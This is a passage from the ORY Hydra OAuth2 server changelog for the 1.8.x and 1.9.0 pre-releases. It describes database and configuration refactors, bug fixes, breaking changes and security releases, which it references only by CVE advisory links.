Hydra](https://www.ory.sh/hydra/docs/next/guides/migrating-from-MITREid). **Refactoring the internal DBAL** We completely refactored the internal database abstraction layer (DBAL). We have been using [gobuffalo/pop](https://github.com/gobuffalo/pop) successfully in [ORY Kratos](https://github.com/ory/kratos) and decided to move the ORY Hydra DBAL to [gobuffalo/pop](https://github.com/gobuffalo/pop) as well. As part of this refactoring, ORY Hydra now supports SQLite for both in-memory as well as on-disk databases, de-duplicating the codebase and allowing for quick and easy persistence in test environments. ### Code Generation * Pin v1.9.0 release commit ([7120b4f](https://github.com/ory/hydra/commit/7120b4f5d038f065df4fa80d7dbbb8aa8bd0b987)): Bumps from v1.9.0-alpha.1 # [1.9.0-rc.0](https://github.com/ory/hydra/compare/v1.9.0-alpha.4.pre.0...v1.9.0-rc.0) (2021-01-12) This is a pre-release for ORY Hydra 1.9.0 ### Code Generation * Pin v1.9.0-rc.0 release commit ([e8fc76b](https://github.com/ory/hydra/commit/e8fc76b94faaf18abf6df4d58bf89b085e849bb2)): Bumps from v1.9.0-alpha.1 # [1.9.0-alpha.4.pre.0](https://github.com/ory/hydra/compare/v1.9.0-alpha.3...v1.9.0-alpha.4.pre.0) (2021-01-12) autogen: pin v1.9.0-alpha.4.pre.0 release commit ### Bug Fixes * Add 400 as possible reply to /oauth2/token ([24daede](https://github.com/ory/hydra/commit/24daede2a63ec94e6f556e220f316e854a186422)), closes [#2260](https://github.com/ory/hydra/issues/2260) * Bump ory/x and update config usage ([#2248](https://github.com/ory/hydra/issues/2248)) ([4937a00](https://github.com/ory/hydra/commit/4937a00b9a09e6cbc6706978cc6aad74f80d4c75)) * Do not require unset pairwise ([4136aaf](https://github.com/ory/hydra/commit/4136aaf3da40d5fa548de23ae92cdb4c01c837fd)) * Improve version regex ([17d9599](https://github.com/ory/hydra/commit/17d9599559b0f9b6578c85054b12d12ac98d0c0b)), closes [#2255](https://github.com/ory/hydra/issues/2255) * Update schema reference for subject_identifiers.supported_types ([0e14a08](https://github.com/ory/hydra/commit/0e14a08d338eaf9966fe2d15e15bfd2c4077929c)), closes [#2270](https://github.com/ory/hydra/issues/2270) ### Code Generation * Pin v1.9.0-alpha.4.pre.0 release commit ([9766b27](https://github.com/ory/hydra/commit/9766b27122d19241948c0a77830eb006e7c4767b)) ### Documentation * Add note about mounting the config file when using docker ([#2235](https://github.com/ory/hydra/issues/2235)) ([766e8f1](https://github.com/ory/hydra/commit/766e8f1a6dd6fbf73a055ff9d49cf1b271a1cfd4)), closes [#2231](https://github.com/ory/hydra/issues/2231) * Change deprecated fallback url ([#2275](https://github.com/ory/hydra/issues/2275)) ([0bf61aa](https://github.com/ory/hydra/commit/0bf61aa5e1c2f42108ad2cab47ca492c6ac6d64a)), closes [#2254](https://github.com/ory/hydra/issues/2254) * Client api upper bound on limit parameter ([#2277](https://github.com/ory/hydra/issues/2277)) ([bc2bbd2](https://github.com/ory/hydra/commit/bc2bbd2f6253ca4ec76e6701ec2a9459dbf64c24)), closes [#2267](https://github.com/ory/hydra/issues/2267) * Corrected a link within the docs ([#2257](https://github.com/ory/hydra/issues/2257)) ([0dd4e64](https://github.com/ory/hydra/commit/0dd4e64db8a5dccef96e2482b822ac08ee736bec)) * Fix incorrect version replacements ([70a6b8f](https://github.com/ory/hydra/commit/70a6b8fd520b361645312990433ad21548b76856)) * Fix typo ([#2264](https://github.com/ory/hydra/issues/2264)) ([82ba2df](https://github.com/ory/hydra/commit/82ba2dfdadfdd8e9530d7312aca3bab7d077d4ce)) * OAUTH2_ERROR_URL -> URLS_ERROR ([#2263](https://github.com/ory/hydra/issues/2263)) ([f9b8205](https://github.com/ory/hydra/commit/f9b820521b7aad121e2c746f276711e54ffdb910)) * Oidc.subject_identifiers config key change ([#2232](https://github.com/ory/hydra/issues/2232)) ([2172f25](https://github.com/ory/hydra/commit/2172f25ee599e2df016daffa6692f92e5f5ee277)): oidc.subject_identifiers.enabled is now oidc.subject_identifiers.supported_types. Docs should get updated. * Update install from source instructions ([bcfd9b7](https://github.com/ory/hydra/commit/bcfd9b72c68c6c9d2550a9ec511543363fc99d72)) # [1.9.0-alpha.3](https://github.com/ory/hydra/compare/v1.9.0-alpha.2...v1.9.0-alpha.3) (2020-12-08) We are excited to present the next big step towards ORY Hydra 1.9! In this release we completely refactored the configuration internals and moved from [spf13/viper](https://github.com/spf13/viper) to [knadh/koanf](https://github.com/knadh/koanf): 1. Configuration sourcing works from all sources (file, env, cli flags) with validation against the configuration schema, greatly improving the developer experience when changing or updating configuration. 2. Configuration reloading has improved significantly and works excellently on Kubernetes. 3. Performance gains that remove the need for a cache layer between the configuration system and ORY Hydra. 4. Loading of several config files using the `--config` flag now possible. 5. Configuration values are now sent to the tracer (e.g. Jaeger) if tracing is enabled. Please be aware that deprecated configuration flags have finally been removed with this change. It is also possible that ORY Hydra might complain about an invalid configuration due to a significantly improved validation process. In addition, this release includes the new OpenID Connect Conformity Test Suite as part of the ORY Hydra CI pipeline. This means every PR and change will be checked for OpenID Connect Compliance. As part of these tests, we uncovered some regression issues which have since been resolved. Please be aware that fields `error_hint` and `error_debug` will no longer be sent. You can re-enable those legacy fields by setting `oauth2.include_legacy_error_fields` to `true`. Furthermore, support for OpenID Connect flows `response_mode=form_post` was added and has been tested with the OpenID Connect Conformity Test Suite, making it ready for production. Several other bugs have been resolved and we have completely overhauled the tests, deprecating test tables in favor of test suites. This greatly improves the readability of our tests and allows new contributors to more easily understand what is going on! If you wish to get into ORY Hydra, check out the newly published YouTube tutorial: [![ORY Hydra YouTube Quickstart Tutorial](https://raw.githubusercontent.com/ory/web/master/static/images/newsletter/hydra-1.9.0/YouTube-tutorial-hydra-preview.png)](https://www.youtube.com/watch?v=tlO9p2E501A) ## Breaking Changes After battling with [spf13/viper](https://github.com/spf13/viper) for several years we finally found a viable alternative with [knadh/koanf](https://github.com/knadh/koanf). The complete internal configuration infrastructure has changed, with several highlights: 1. Configuration sourcing works from all sources (file, env, cli flags) with validation against the configuration schema, greatly improving developer experience when changing or updating configuration. 2. Configuration reloading has improved significantly and works flawlessly on Kubernetes. 3. Performance increased dramatically, completely removing the need for a cache layer between the configuration system and ORY Hydra. 4. It is now possible to load several config files using the `--config` flag. 5. Configuration values are now sent to the tracer (e.g. Jaeger) if tracing is enabled. Please be aware that deprecated configuration flags have finally been removed with this change. It is also possible that ORY Hydra might complain about an invalid configuration, because the validation process has improved significantly. This patch requires running SQL Migrations. Please be aware that a NOT NULL column is being dropped which could require a lot of time when the `authentication_session` table contains a lot of data. This patch removes `error_hint` and `error_debug` fields from OAuth2 responses. These are now all merged into `error_description` which is according to the OAuth2 and OpenID Connect specification. If you wish to keep the old behavior around, set `oauth2.include_legacy_error_fields` to `true` in your ORY Hydra configuration. Applying this patch requires running SQL migrations. The SQL migrations will remove a UNIQUE constraint and add new INDEX to several tables which should speed up certain operations. Please be aware that this might cause certain databases to lock which could be problematic if there are many rows affected. This changes the OAuth2 Token Introspection response to ensure compliance with the OAuth2 Token Introspection specification. Previously, `token_type` would return `access_token` or `refresh_token`. The specification however mandates that `token_type` is always `Bearer`. This patch resolves that issue. The previous behaviour of `token_type` has now been moved to `token_use` which can be `access_token` or `refresh_token`. ### Bug Fixes * Add encrypt_at_rest option to config schema ([3219c16](https://github.com/ory/hydra/commit/3219c16d640e4630161a72b2895fc52fac0b1590)) * Add required aud, jti claims to userinfo response ([d0697fa](https://github.com/ory/hydra/commit/d0697fab291e73b2a8f32e655ac4d4127f53b782)) * Add standardized client registration errors ([02a9137](https://github.com/ory/hydra/commit/02a91370e75485abcc19a4bf8163a6ae9816becd)): Adds new errors to fully comply with the OpenID Connect Dynamic Client Registration specification. * Allow all request object signing algs per default ([edc54c2](https://github.com/ory/hydra/commit/edc54c25eba9a4fde818e9974e2c03fcebe49e2b)): This patch resolves an issue where RS256 would be the only allowed request object signing algorithm. The spec however mandates that all algorithms are allowed if the client does not explicitly set the request object signing algorithm. * Allow lower bcrypt values and add tests ([812a21c](https://github.com/ory/hydra/commit/812a21cf42318d32d57982dbdbf2b1683b808653)) * Document describe error ([#2208](https://github.com/ory/hydra/issues/2208)) ([b59bdf8](https://github.com/ory/hydra/commit/b59bdf8582e61dff6bea72a94874a44744160298)) * Ensure consistent auth_time in session handling ([e973ffe](https://github.com/ory/hydra/commit/e973ffe04c34520f6f3ea3452bbfd954f307a6e1)) * Increase parallelism to 4 ([ae02706](https://github.com/ory/hydra/commit/ae027064d2afd004b4efc1aaaffff1c693e4eb28)) * Mark false gosec positive ([206d1ee](https://github.com/ory/hydra/commit/206d1eee8b3a627a0b9111dfd3fee9c73037cdde)) * Nonce is not required for hybrid flows ([c708ada](https://github.com/ory/hydra/commit/c708adadfb0647fa09f7001ef15db1da749ea319)) * Quickstart yml ([5ebd984](https://github.com/ory/hydra/commit/5ebd984f8b6d157fc61269784dc773cc4f772f8e)) * Remove session from store on logout ([4495f56](https://github.com/ory/hydra/commit/4495f56fcd737fb6873cd5891deee062221d20b6)): This patch resolves an issue where the session would not be purged from the store when performing an RP-initiated logout request from a client, if said client does not purge the authentication session properly because the client does not have access to it or because the client misbehaves. * Remove unrelated quickstart entry ([#2214](https://github.com/ory/hydra/issues/2214)) ([a583d78](https://github.com/ory/hydra/commit/a583d78d62f6f959c3271d726bb32612a5da7ec6)), closes [#2213](https://github.com/ory/hydra/issues/2213) * Request_id should not be unique ([a8ca333](https://github.com/ory/hydra/commit/a8ca333bb65fe591d1795ce5b33760c97ff54d65)): This patch resolves an issue where certain OpenID Connect Hybrid flows would error with a UNIQUE violation. The cause of this issue was an incorrect UNIQUE constraint on the `request_id` field of the access, refresh, pkce, and other, similar tables. * Resolve broken quickstart ([95a1dfb](https://github.com/ory/hydra/commit/95a1dfb2c06a56235ba1da1c9789f8356382b75c)) * Update deprecated config in quickstart ([1c1433a](https://github.com/ory/hydra/commit/1c1433ab3ae0b3b50a0f911bb4a909cb4ff774fb)) * Update invalid quickstart config ([8d076a5](https://github.com/ory/hydra/commit/8d076a5e47c806a3340ffcb48731da14518cd4a9)) * Update package lock ([18bfc96](https://github.com/ory/hydra/commit/18bfc96fefdf012a31cfc30b376b3ccc65b2cecd)) * Update schema to support new koanf ([29763c8](https://github.com/ory/hydra/commit/29763c8f938e5e690179c79771ed63684545f8bf)) ### Code Generation * Pin v1.9.0-alpha.3 release commit ([05809d2](https://github.com/ory/hydra/commit/05809d25cb4b667dd91610cc9862fb37aec7b956)) ### Code Refactoring * Deprecate driver semantics ([8fc3e2e](https://github.com/ory/hydra/commit/8fc3e2e3ce27b633df04d05dc1e82e589a4a9de6)) * Move oauth2 cors to own package ([3beddbd](https://github.com/ory/hydra/commit/3beddbdabf7c589bdd4b36f6680f37ab4d1cf5a7)) * Rename `token_type` to `token_use` in introspection ([152fd5d](https://github.com/ory/hydra/commit/152fd5d46e9a22e1e03ac80643c0d01fabb3a3b6)), closes [#1762](https://github.com/ory/hydra/issues/1762) * Replace viper with koanf config management ([8c12b27](https://github.com/ory/hydra/commit/8c12b27a59dd75ad4a4e5f6d3178dd25e7e17406)) ### Documentation * Add config debug section ([c53f036](https://github.com/ory/hydra/commit/c53f0364ab2ac5ac2429334f804e58bae14d7b7d)) * Add contributing to sidebar ([#2209](https://github.com/ory/hydra/issues/2209)) ([21f3b1f](https://github.com/ory/hydra/commit/21f3b1f17b67ed1b28d4ef2a898413cc62ac81f1)): Added Contributing Guidelines to the introduction menu point on the sidebar. I think it should be as obvious as possible. Another good solution would be to add them to the top bar? If this is merged, I will do the same changes for Kratos/Oathkeeper/Keto. * Add newsletter banner ([5b63aa4](https://github.com/ory/hydra/commit/5b63aa4bae56d6d66871ba95ca8ab8394e0c6027)) * Add quickstart video ([#2220](https://github.com/ory/hydra/issues/2220)) ([d4aa981](https://github.com/ory/hydra/commit/d4aa98147f3c7efae37f17e9bc21f4cc61e74b77)) * Bcrypt reference config ([#2161](https://github.com/ory/hydra/issues/2161)) ([e7eece2](https://github.com/ory/hydra/commit/e7eece2d4c25fb27b76f20877c692540c9a2f11b)), closes [#2077](https://github.com/ory/hydra/issues/2077) * Deps are installed automagically and make deps was removed ([#2157](https://github.com/ory/hydra/issues/2157)) ([25e96e2](https://github.com/ory/hydra/commit/25e96e27c889a764d7d3ace05c16a0cd6ad197d1)), closes [#2154](https://github.com/ory/hydra/issues/2154) * Fix omissions in consent flow description ([#2194](https://github.com/ory/hydra/issues/2194)) ([d9d719a](https://github.com/ory/hydra/commit/d9d719afbbd63773a9fad30e62204c20593ddb77)) * Minor improvements to the concepts/consent page ([#2168](https://github.com/ory/hydra/issues/2168)) ([1128cfc](https://github.com/ory/hydra/commit/1128cfc5176fd80d80cc857985ffe7fb04434c27)) * Update links and fix typos ([#2169](https://github.com/ory/hydra/issues/2169)) ([409f2f4](https://github.com/ory/hydra/commit/409f2f4b300f5375b6f582ae7fe5319425fb3523)) * Update toc ([#2158](https://github.com/ory/hydra/issues/2158)) ([ee4a9ed](https://github.com/ory/hydra/commit/ee4a9edf642ec23516530611363e1508975d03e8)), closes [#2153](https://github.com/ory/hydra/issues/2153) * Use codefromremote for consent samples ([51c0874](https://github.com/ory/hydra/commit/51c0874cd60ea8e8df1972b1926ca2e8e74c556a)) ### Features * Add ability to override oidc discovery urls ([bb8b982](https://github.com/ory/hydra/commit/bb8b9824e88249f58a55efe2410d1df357c7f519)): Added config options `webfinger.oidc_discovery.token_url`, `webfinger.oidc_discovery.auth_url`, `webfinger.oidc_discovery.jwks_url`. * Add new `request_object_signing_alg_values_supported` to oidc discovery ([4220959](https://github.com/ory/hydra/commit/4220959c022ae6e8134f9135d65bb40e2d74d843)) * Add oidc conformity tests ([651f424](https://github.com/ory/hydra/commit/651f4244566f8ebba63bfbe085b5487228e8fe56)) * Add support for ElasticAPM tracing ([#2155](https://github.com/ory/hydra/issues/2155)) ([7792715](https://github.com/ory/hydra/commit/77927158ee8e90b4b83d829eb2a448885e4d06d9)) * Improve and clean up error handling ([b727367](https://github.com/ory/hydra/commit/b7273676dd79478bf5678046a86f5b5135714559)) * Improve error responses for consent handler ([44ab747](https://github.com/ory/hydra/commit/44ab7472dc84c01c26e20ea2cb8d95c9a479cf29)) * Improve error stack trace wrapping ([fdf142c](https://github.com/ory/hydra/commit/fdf142cc7c5a195ceca4004d5244fbf89ece7e61)) * Only set state-param if it was passed ([#2183](https://github.com/ory/hydra/issues/2183)) ([568434a](https://github.com/ory/hydra/commit/568434ac393591d7ba0c2a3ec4eb45be576ffb86)): Using `state` in the logout flow is optional, so `state` can be empty. In order to avoid an ugly `/post-logout-redirect-uri?state=` URI, the state should only be appended if it is not empty. * Remove legacy error fields unless configured to do so ([e2a7135](https://github.com/ory/hydra/commit/e2a7135fad56d1666ef7910bd98e79a027a00258)) * Support OpenID Connect's `response_mode=form_post` ([8ab9eff](https://github.com/ory/hydra/commit/8ab9eff6a50a4f9339310b31024b37b6f93b1416)), closes [#1621](https://github.com/ory/hydra/issues/1621): This patch adds support for the `response_mode` parameter as defined in [OAuth 2.0 Form Post Response Mode](https://openid.net/specs/oauth-v2-form-post-response-mode-1_0.html). Additionally, values `fragment` and `query` are supported as defined in [OAuth 2.0 Multiple Response Type Encoding Practices](https://openid.net/specs/oauth-v2-multiple-response-types-1_0.html). * Support pkger ([07a360e](https://github.com/ory/hydra/commit/07a360e37da8543d5556be0c2fd8afaddc02a59d)) ### Tests * Add timeout to wait ([90dfaf5](https://github.com/ory/hydra/commit/90dfaf56bad60f7be89cf1713c361dc4971b7b04)) * Completely refactor consent tests ([defc063](https://github.com/ory/hydra/commit/defc063e414f77a2cf32f6aff5a73c02bb09dd34)) * Fix jwt e2e tests ([1b480d8](https://github.com/ory/hydra/commit/1b480d82e104b8ce5aa0cf74697f664efd3c012d)) * Improve github action conformity tests ([1015e49](https://github.com/ory/hydra/commit/1015e49e17818fb4df091f2a7afe833304cd87a2)) * Improve TestClientCredentialsGrantAllScopes ([19409b4](https://github.com/ory/hydra/commit/19409b4d2dbe86085facea6c71c2a04b248f6674)) * Increase timeout for conformity ([a65d289](https://github.com/ory/hydra/commit/a65d289261bab04a34c8e22927f839c1f9962f3f)) * Oidc conformity tests should run as workflow dispatch ([5b8fa0a](https://github.com/ory/hydra/commit/5b8fa0aedc6ce1539410f2ffa1bca630c1b4a3c2)) * Refactor client credential tests ([b74cffa](https://github.com/ory/hydra/commit/b74cffa8d2b01b154c1b707a9219ea2568dcc74f)) * Refactor consent logout tests and add failing case ([ef12c06](https://github.com/ory/hydra/commit/ef12c068df3011c9b4e684058f1f32c6046dabda)) * Refactor oauth2 auth code tests ([c376473](https://github.com/ory/hydra/commit/c376473c37bce38a85f2cc8763cf0680d572c4a7)) * Resolve conformity test suite concurrency issues ([ef312c3](https://github.com/ory/hydra/commit/ef312c3999acba2f43719546618120a160329540)) * Resolve e2e startup issues ([5af4cef](https://github.com/ory/hydra/commit/5af4cef937ed3085427b6a108aaaa1d9aac70b62)) * Resolve e2e test failures ([03f5e8e](https://github.com/ory/hydra/commit/03f5e8e5fdcc3d08bd4225679be7cbef328392e2)) * Resolve failing rotation key tests ([8e8b943](https://github.com/ory/hydra/commit/8e8b943c9cb3dc18e15d26ed4183d9fd09f5f2a4)) * Resolve flaky test issue ([e17a074](https://github.com/ory/hydra/commit/e17a074774eafc93f4cb5620f2f186e87a9ec96e)) * Resolve incorrect retry loop ([ef141c2](https://github.com/ory/hydra/commit/ef141c28ba4f9d4973da4f62b0cbfac35d7fd029)) * Retry conformity failures ([409ae42](https://github.com/ory/hydra/commit/409ae424da31b4634f4a538604fb7cb1acd2605c)) * Retry interrupted tests ([c72367b](https://github.com/ory/hydra/commit/c72367b0dcda02a21fee727e81c427fe712e10dc)) * Skip preloading in migration tests ([14272f2](https://github.com/ory/hydra/commit/14272f2aa257cb38d385f2c801f9943650f54841)) * Update config to pass validation ([6931461](https://github.com/ory/hydra/commit/69314615a12fe56bd7ad3e739d0f9bd10fecf011)) * Use 16 workers for conformance ([9cf0e65](https://github.com/ory/hydra/commit/9cf0e653122db9deea8641dd354bf98749803b7b)) * Use correct test context ([45bc907](https://github.com/ory/hydra/commit/45bc9072eb2e5f9545f6300bdf3c343719fdef74)) * Use prebuilt images for conformity testing ([4dd7a62](https://github.com/ory/hydra/commit/4dd7a6214763149352e97de9fcea0e670f7be16d)) ### Unclassified * Format ([5f08ff2](https://github.com/ory/hydra/commit/5f08ff2a25634d7d186d35a98c6494cf51b9cadc)) # [1.9.0-alpha.2](https://github.com/ory/hydra/compare/v1.9.0-alpha.1...v1.9.0-alpha.2) (2020-10-29) This release addresses an issue in the update routine of OAuth2 Clients (see [kratos#2148](https://github.com/ory/hydra/issues/2148)) and adds an option which makes ORY Hydra compatible with MITREid. ### Bug Fixes * Add docs format to make format ([cfa50fe](https://github.com/ory/hydra/commit/cfa50fe0dd12ec756e43b2db6fc3ab534db8494a)) * Client update breaks primary key ([#2150](https://github.com/ory/hydra/issues/2150)) ([7662917](https://github.com/ory/hydra/commit/7662917015d07ab9f7ee5c2c5b7a66c97995b815)), closes [#2148](https://github.com/ory/hydra/issues/2148) * Explicitly use no-CGO images for non-SQLite ([1ec2d1d](https://github.com/ory/hydra/commit/1ec2d1dffa07fdf733abc4cfb889c52447592217)) * Force brew install statement ([0252b5a](https://github.com/ory/hydra/commit/0252b5a2830abb313cae1622b1e2022829802943)) * Update install script ([c614c0b](https://github.com/ory/hydra/commit/c614c0b98f2bca897828848fa5088f8eed125704)) ### Code Generation * Pin v1.9.0-alpha.2 release commit ([1a7fe91](https://github.com/ory/hydra/commit/1a7fe9137293699b7d5d8880aac26f33fdd7e302)) ### Documentation * Add missing trailing slash ([97bc47d](https://github.com/ory/hydra/commit/97bc47d63940fabd0bec65b3e8051fc171d38011)) * Replace dex with keycloak ([fa877d7](https://github.com/ory/hydra/commit/fa877d76b37e9a60e35080447bd27857010ad2a8)), closes [#2128](https://github.com/ory/hydra/issues/2128) * Version bash-curl script ([71b0592](https://github.com/ory/hydra/commit/71b0592361c973753024e25d00140dd1c605804a)), closes [#2145](https://github.com/ory/hydra/issues/2145) ### Features * Add configuration option to grant default client_credential scope when no scope is requested ([#2144](https://github.com/ory/hydra/issues/2144)) ([0b1de34](https://github.com/ory/hydra/commit/0b1de34a5c4a1a99f958c6f24cd2062c398211ec)), closes [#2141](https://github.com/ory/hydra/issues/2141): Adds an option which allows granting the OAuth2 Client's authorized scope when performing a `client_credentials` flow without specifying a scope. This enables compatibility with MITREid. ### Tests * Fix misused id field ([#2152](https://github.com/ory/hydra/issues/2152)) ([511e8d2](https://github.com/ory/hydra/commit/511e8d270e0ecebf46405639d4ecf0af9269d6ab)) # [1.9.0-alpha.1](https://github.com/ory/hydra/compare/v1.8.5...v1.9.0-alpha.1) (2020-10-20) This release focuses on a complete refactor of the internal database abstraction layer (DBAL). We have been using [gobuffalo/pop](https://github.com/gobuffalo/pop) successfully in [ORY Kratos](https://github.com/ory/kratos) and decided to move the ORY Hydra DBAL to [gobuffalo/pop](https://github.com/gobuffalo/pop) as well. As part of this refactoring, ORY Hydra now supports SQLite for both in-memory as well as on-disk databases, de-duplicating the codebase and allowing for quick and easy persistence in test environments. This is an alpha release as we want to gather feedback from the community regarding performance and other potential issues before tagging the v1.9.0 version branch as stable. ### Bug Fixes * Add support for tracing to SQL ([b3dda7c](https://github.com/ory/hydra/commit/b3dda7c8c97f3c6dce36a9789d2980ff53bf387f)) * Address pop inconsistencies and update tests ([8f3462f](https://github.com/ory/hydra/commit/8f3462ff522de44f74ada8b80342e40779eaa7c6)) * CGO build issues on Windows and Go 1.15+ ([1c1fe19](https://github.com/ory/hydra/commit/1c1fe19241bee2ee78f8fd96886d9f0d106748eb)) * Do not require sqlite and CGO for other databases ([8069205](https://github.com/ory/hydra/commit/80692052133f72e532730cca720faebf3183509f)) * Do not run migrations in background ([308edb9](https://github.com/ory/hydra/commit/308edb99af7328259a1e1cbfabe2676a96324f8a)) * Explicitly set pwd in makefile ([aeb1090](https://github.com/ory/hydra/commit/aeb10903fd467a6f228168316de3748d9556fb6b)) * Goreleaser add docker images ([7a81908](https://github.com/ory/hydra/commit/7a81908a8875bdc6d632e8b2a320272c8ffa0b8d)) * Improve cli flags and add `-c` config flag ([bf3be84](https://github.com/ory/hydra/commit/bf3be849c053cfe9f36b077606d31f2ec3f487fc)) * Improve schema typing for tracing ([4cc25c3](https://github.com/ory/hydra/commit/4cc25c34e52afa0c5d113a440c474ffe3daf3fd0)) * Improve tests and pop adapter ([1354611](https://github.com/ory/hydra/commit/135461107e157a303975e429a3d4c1035d751ffd)) * Remove explicit cve allowlist ([90caeda](https://github.com/ory/hydra/commit/90caedae8ac2ae76be72eca33947e144bcf9529c)), closes [#2117](https://github.com/ory/hydra/issues/2117) * Remove obsolete makefile targets ([dc5d37f](https://github.com/ory/hydra/commit/dc5d37ff16ccf48050878bf415d31374254e2bd7)) * Remove unnecessary transactions ([1df50ec](https://github.com/ory/hydra/commit/1df50ec02ef09d57b2314e09a95f31bc90dd4e37)) * Remove websocket direct dep ([d525983](https://github.com/ory/hydra/commit/d525983c9f06d52ff225f66d664cb1a4ed37f698)), closes [#2111](https://github.com/ory/hydra/issues/2111) * Run tests only once ([4e1d0f6](https://github.com/ory/hydra/commit/4e1d0f6f3dae8277f3d729c31845829552c3b443)) * Set context in connection getter ([644967a](https://github.com/ory/hydra/commit/644967a818c5f6e229c7e3601728191fcb1ab17b)) * Update docker and quickstart examples ([b01c246](https://github.com/ory/hydra/commit/b01c2467840c03f6e520f8aee53c503e5e69f5ad)) * Update format to goimports ([c4438b0](https://github.com/ory/hydra/commit/c4438b0eb2cc8a99ecdd2ef0ce6126b5399749e2)) * Use context in transaction creator ([db0ac86](https://github.com/ory/hydra/commit/db0ac86103a5bd3a6983e50b5e437eb6311e91e8)) * Use sqlite for standalone ([e5b7147](https://github.com/ory/hydra/commit/e5b7147abdd33bc613c7de7539d0e2da2275f477)) ### Code Generation * Pin v1.9.0-alpha.1 release commit ([a270e4c](https://github.com/ory/hydra/commit/a270e4cafbded0e3e3c1c7bef061b60f6351a52e)) ### Code Refactoring * Move Dockerfiles to .docker directory ([5508f2a](https://github.com/ory/hydra/commit/5508f2aba6ff56730d402f163e2b41387676a30f)) * Use gobuffalo/pop for SQL abstraction ([#2059](https://github.com/ory/hydra/issues/2059)) ([56bce67](https://github.com/ory/hydra/commit/56bce678cb8a3e308313895e5fecd9b112ead4ae)), closes [#1730](https://github.com/ory/hydra/issues/1730): This patch replaces the existing SQL and memory managers with a pop based persister. Existing SQL migrations are compatible as they have been migrated to the new SQL abstraction in version 1.7.x. As a goodie, ORY Hydra now supports SQLite for both in-memory as well as on-disk (useful for development and very small deployments) databases! ### Documentation * Add hypnoglow terraform provider ([7ed8870](https://github.com/ory/hydra/commit/7ed887032431886c5fdc14462467ed3b5c0937de)), closes [#1304](https://github.com/ory/hydra/issues/1304) * Correct port ([#2101](https://github.com/ory/hydra/issues/2101)) ([487e733](https://github.com/ory/hydra/commit/487e733579a97dcab0f81365fd63214818e34492)), closes [#2100](https://github.com/ory/hydra/issues/2100) * Correct port ([#2102](https://github.com/ory/hydra/issues/2102)) ([7aca301](https://github.com/ory/hydra/commit/7aca301a3e5d88273402765f32f521f2dac99df2)), closes [#2100](https://github.com/ory/hydra/issues/2100) * Fix typo ([71a4495](https://github.com/ory/hydra/commit/71a4495d367bc9ac52025ccc1c5e75367dc227a5)) * Remove obsolete doc section ([443a225](https://github.com/ory/hydra/commit/443a225775ffefe3fd75df416924803ec965cbee)) * Swagger route headline capitalization ([4540ece](https://github.com/ory/hydra/commit/4540ece1285b814307335bab97824e6e1aebb0ca)), closes [#2015](https://github.com/ory/hydra/issues/2015) * Update code listings and image tags ([3cd22c4](https://github.com/ory/hydra/commit/3cd22c4d25de9b7a66336603135e9342555c278e)) * Update sql instructions ([bfed7f2](https://github.com/ory/hydra/commit/bfed7f22414e25da48ef8b4ee241c2a9684e63e2)) * Updates kubernetes helm chart url ([6d63a73](https://github.com/ory/hydra/commit/6d63a730d42dc8185f3f6ce589dc977b425e0503)) ### Features * Implement docker for quickstart ([8e64202](https://github.com/ory/hydra/commit/8e64202f43b13890138d6e0cabdac1853d05d8e0)) * Re-enable freebsd ([2f19837](https://github.com/ory/hydra/commit/2f1983702140e0bbfb56b28b8de9254283014799)), closes [#2116](https://github.com/ory/hydra/issues/2116) [#2115](https://github.com/ory/hydra/issues/2115) * Support sqlite in goreleaser ([e946487](https://github.com/ory/hydra/commit/e946487a1e1a0642f46b3a36c53a1737c3d8613e)) ### Tests * Fix confusing expected/got ([#2135](https://github.com/ory/hydra/issues/2135)) ([14b6db2](https://github.com/ory/hydra/commit/14b6db206cbe2ccf3e4b71fe8f621aa3d87f33f5)): And fixed assert.EqualError params in right order in TestStrategyLoginConsent * Move tests to persistence ([46d0571](https://github.com/ory/hydra/commit/46d0571e3ebf1db7ded4fc3f6018a9ddbf3d2677)) * Remove unused expectSession variable ([#2134](https://github.com/ory/hydra/issues/2134)) ([eda8532](https://github.com/ory/hydra/commit/eda8532ee77576ad92020c474926925f18cd4fe7)) * Write migrate logs to file ([9a1fbd8](https://github.com/ory/hydra/commit/9a1fbd800cf2bc94ddb507caa164922c3141578c)) # [1.8.5](https://github.com/ory/hydra/compare/v1.8.0-pre.1...v1.8.5) (2020-10-03) This is a security-focused release with fixes for [CVE-2020-15234](https://github.com/ory/fosite/security/advisories/GHSA-grfp-q2mm-hfp6), [CVE-2020-15223](https://github.com/ory/fosite/security/advisories/GHSA-7mqr-2v3q-v2wm), [CVE-2020-15233](https://github.com/ory/fosite/security/advisories/GHSA-rfq3-w54c-f9q5). Additionally, several system dependencies (e.g. Golang) have been upgraded. A few things have changed as part of these patches: - OAuth 2.0 Redirection URL error parameters `error_hint`, `error_debug` have been deprecated and are now part of `error_description`. The parameters are still included for compatibility reasons but will be removed in a future release. - OAuth 2.0 Error `revocation_client_mismatch` was not standardized and has been removed. Instead, you will now receive `unauthorized_client` with a description explaining why the flow failed. Additionally, the TypeScript SDK generator has changed from OpenAPI's `typescript-node` to `typescript-axios` making the SDK compatible with both browser as well as node environments, which was not the case previously. Please be aware that some of the SDK's API signatures - especially responses - have changed and check your TypeScript output for instructions on upgrading. You may still use an older version of the SDK as none of ORY Hydra's HTTP APIs have changed. Due to several complex CI issues and regressions, build versions v1.8.0 - v1.8.4 failed. v1.8.5 the first and only stable release in the current 1.8.x branch. New features have been added and bugs have been closed. No migrations are required when applying this release. Please check the list below for an in-depth overview. ### Code Generation * Pin v1.8.5 release commit ([951870e](https://github.com/ory/hydra/commit/951870edef14332f2a65342e0bc8f361c2cfb42c)): Bumps from v1.8.0-pre.0 # [1.8.0-pre.1](https://github.com/ory/hydra/compare/v1.8.0-pre.0...v1.8.0-pre.1) (2020-10-03) autogen: pin v1.8.0-pre.1 release commit ### Bug Fixes * Resolve gosec issues and false positives ([0832138](https://github.com/ory/hydra/commit/083213814c160304312f7cf529ec38cc154a769f)) ### Code Generation * Pin v1.8.0-pre.1 release commit ([861fdb7](https://github.com/ory/hydra/commit/861fdb7d5d5e9ce1a6183b9e0f56e746a0b9927e)) ### Features * Bump golangci-lint and add lint job ([5ea6fb6](https://github.com/ory/hydra/commit/5ea6fb65e6599e4ff0718922a17a0a054638a738)) # [1.8.0-pre.0](https://github.com/ory/hydra/compare/v1.7.4...v1.8.0-pre.0) (2020-10-02) This is a security-focused release with fixes for [CVE-2020-15234](https://github.com/ory/fosite/security/advisories/GHSA-grfp-q2mm-hfp6), [CVE-2020-15223](https://github.com/ory/fosite/security/advisories/GHSA-7mqr-2v3q-v2wm), [CVE-2020-15233](https://github.com/ory/fosite/security/advisories/GHSA-rfq3-w54c-f9q5). 